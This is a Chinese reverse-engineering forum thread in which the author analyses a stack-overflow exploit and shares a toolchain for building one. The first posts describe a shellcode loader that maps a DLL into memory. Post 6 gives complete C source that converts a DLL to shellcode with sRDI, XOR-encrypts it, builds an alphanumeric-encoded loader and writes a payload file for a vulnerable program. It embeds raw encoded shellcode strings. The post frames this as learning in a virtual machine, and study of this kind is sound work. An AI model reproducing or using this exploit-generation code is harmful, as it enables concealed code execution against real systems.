能力值:
( LV3,RANK:20 )
|
-
-
2 楼
6.异常处理开始执行,仔细观察下图:运行在栈内自己构建的shellcode
结合上图查看下图内存区域选中部分就是上图的代码,可以直观查看
最后于 2018-5-2 16:37
被进口坚果编辑
,原因:
|
能力值:
( LV3,RANK:20 )
|
-
-
3 楼
7.在内存区域搜索 -r 参数开始位置
8.开始执行主要shellcode加载dll
9.复制加密的二进制dll文件,到自己申请的内存
10.对所有节进行对齐复制以后dll就加载完成,然后调用即可
最后于 2018-5-2 20:13
被进口坚果编辑
,原因:
|
能力值:
( LV3,RANK:20 )
|
-
-
4 楼
经过od逆向分析shellcode调用过程,总体了解了栈溢出的利用. 下面介绍自己实现的对dll的调用. 利用了https://github.com/monoxgas/sRDI 对dll进行转换处理 Alpha2 对加载dll的shellcode 进行字符串化处理
代码主要部分 https://github.com/jinjie412/shellcode_pro
自动生成的 文件 a 就是包括shellcode 和dll在内.放到8.rar文件夹就可以使用了
注意8.rar文件3.exe 在网络获取,测试使用虚拟机
最后于 2018-5-5 07:36
被进口坚果编辑
,原因:
|
能力值:
( LV3,RANK:20 )
|
-
-
5 楼
github上 8.rar中文件说明
3.exe存在栈溢出程序(谨慎使用,在虚拟机运行,性质不清楚) a 文件是项目转换完的给 3.exe 通过参数的文件 运行aaa 快捷方式可测试窗口
dll导出函数
测试dll TestDLL_x86.dll 拖动到step.exe上,就可以生成二进制文件a
最后于 2018-5-4 09:05
被进口坚果编辑
,原因:
|
能力值:
( LV3,RANK:20 )
|
-
-
6 楼
helloint main(int argc, char *argv[], char *envp[])
{
LPSTR finalShellcode = NULL, data = NULL;
DWORD finalSize, dataSize;
if (argc <2) {
printf("\n[!] Usage:\n\n\tNativeLoader.exe <DLL File>\n\tNativeLoader.exe <Shellcode Bin>\n");
return 0;
}
if (!GetFileContents(argv[1], &data, dataSize)) {
printf("\n[!] Failed to load file\n");
return 0;
}
//加密dll
if (data[0] == 'M' && data[1] == 'Z') {
printf("[+] File is a DLL, attempting to convert\n");
if (!ConvertToShellcode(data, dataSize, HashFunctionName("SayHello"), "dave", 5, SRDI_CLEARHEADER, finalShellcode, finalSize)) {
printf("[!] Failed to convert DLL\n");
return 0;
}
printf("[+] Successfully Converted\n");
PBYTE p = (PBYTE)finalShellcode;
for (size_t i = 0; i < finalSize; i++)
{
*p ^= PASSWORD;
p++;
}
printf("[+] Successfully use pssword\n");
}
else {
printf("\n[!] Dll file pe erro\n");
return 0;
}
//加载大shell
DWORD ShellCodeSize = (DWORD)EndSign - (DWORD)ShellCode;
PBYTE evil = new BYTE[ShellCodeSize];
RtlCopyMemory(evil, (BYTE *)ShellCode, ShellCodeSize);
char* szShellCode = new char[8192];
RtlZeroMemory(szShellCode, sizeof(szShellCode));
char* valid_chars = "0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
char* edi = "3 -r wootwootWYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"; //wootwoot定位字符, edi指向shell头设定
RtlCopyMemory(szShellCode, edi, strlen(edi));
char*p = szShellCode + strlen(edi);
int input, A, B, C, D, E, F;
int unicode = 0;
for (int j = 0; j<ShellCodeSize; j++)//对 加载pe加密shell的load shell 进行字符串化
{
input = evil[j];
A = (input & 0xf0) >> 4;
B = (input & 0x0f);
F = B;
int i = rand() % strlen(valid_chars);
while ((valid_chars[i] & 0x0f) != F) { i = ++i % strlen(valid_chars); }
E = valid_chars[i] >> 4;
D = unicode ? (A - E) & 0x0f : (A^E);
i = rand() % strlen(valid_chars);
while ((valid_chars[i] & 0x0f) != D) { i = ++i % strlen(valid_chars); }
C = valid_chars[i] >> 4;
*p++ = (C << 4) + D;
*p++ = (E << 4) + F;
}
char* szconst = "";
printf("%s\n\n", szShellCode);//加载pe加密shell的load shell(字符串形式)
delete[]evil;
strcat(szShellCode,
"3 -r wootwootWYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIQELKJLMQZLY0EQUPU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NKOKOU1ZKS3G1JKOM9SACACCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxBBBBBBBBBBBBBBBBBBB01238888ABBAA愲悙X鄲桷PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIH9RaQQW11QOKQapQQQSpP3xYlyBpEPgpGpF1pQKOFsskSilKihLKn88k7uCnl2nDioXcM8xvKOioKOoq8l7pwt7pS0KLJKDa2yLxRWROPoPtpQrJkO03YKSTMYWSRJ32PYnkkK8sNO3EGwIoJGQvoqzkkODO3sJKZMkXyJYoyoYoQz4LryLKs4flNQOHk37tUXwvrxMSo4VpPP4syPO3A悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙怱01CKOHURC512L3SC0AABBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCcCCCCCCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD3蓯备愲[悑$悏冹X兡P3缾脨桢悙窧BBAH孅GOW痏u鷲兦鏰aaaaaaaaa牒ZZc"
);
char e[] = { 0x0d,0x0a,0 }; //这2个字节字符串形式无法组织字符串单独复制
strcat(szShellCode, e);
printf("%s\n", szShellCode);//这里全部投shell组织完成
//合并一个文件
int iLenShellCode = strlen(szShellCode) + 1;
int iAll = iLenShellCode + finalSize;//shell头+0+pe加密shell 总长度
evil = new BYTE[iAll];
RtlZeroMemory(evil, iAll);
RtlCopyMemory(evil, szShellCode, iLenShellCode);//复制shell头
PBYTE p0 = evil + iLenShellCode;
RtlCopyMemory(p0, finalShellcode, finalSize);//复制pe加密shell
free(finalShellcode);
delete[]szShellCode;
ofstream fout;
fout.open("a", ios_base::binary | ios::trunc);
if (!fout.is_open())
{
cout << "Error Out Open..." << endl;
return -1;
}
cout << "file size :" << iLenShellCode + finalSize << endl;
fout.write((char*)evil, iLenShellCode + finalSize);
fout.close();
delete[]evil;
system("pause");
return 0;
}
最后于 2018-5-4 09:15
被进口坚果编辑
,原因:
|
能力值:
( LV2,RANK:10 )
|
-
-
7 楼
mark 有时间再来细看
|